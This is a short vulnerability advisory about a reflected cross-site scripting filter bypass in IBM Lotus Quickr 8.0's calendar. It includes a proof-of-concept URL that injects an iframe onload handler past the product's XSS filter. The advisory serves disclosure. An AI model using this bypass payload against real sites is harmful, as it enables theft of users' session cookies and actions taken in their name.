SecurityReason - IBM Quickr 8 Calendar Xss Injection (Bypass Quickr 8.0 Xss Filter)

Advisory Text :

description:Lotus Quickr, announced at Lotusphere 2007, is an evolution of
Lotus QuickPlace ,The software use a weak xss filter that an attacker can
bypass this xss filter. A remote user can create a specially crafted URL
that, when loaded by a target user, will cause arbitrary scripting code to
be executed by the target user's browser. The code will originate from the
site running the IBM Lotus Quickr 8.0 software and will run in the security
context of that site. As a result, the code will be able to access the
target user's cookies (including authentication cookies), if any,
associated with the site, access data recently submitted by the target user
via web form to the site, or take actions on the site acting as the target
user.

IBM Quickr 8.0 Server Calender XSS Injection:

its seems that IBM Lotus Quickvr use a filter xss,an attacker can avoid
this filter .

example of IBM Quickr 8.0 XSS filter:

http://victim.com/QuickPlace/main.nsf/h_Toc/2a922d48c75dd00b052567080016
723a/?OpenDocument&Count='20"><script>alert('g')</script>

and then you will get a error message from Quickr:

Due to the presence of characters known to be used in Cross Site Scripting
attacks, access is forbidden. This web site does not allow Urls which might
include embedded HTML tags.

IBM Quickr 8.0 calender XSS (Avoid weak XSS filter) POC:

http://victim.com/QuickPlace/main.nsf/h_Toc/2a922d48c75dd00b052567080016
723a/?OpenDocument&Count='20"><iframe/%20/onload=alert(/XSSByNirG/)>

Credit:This flaw was discovered By Nir Goldshlager (Avnet)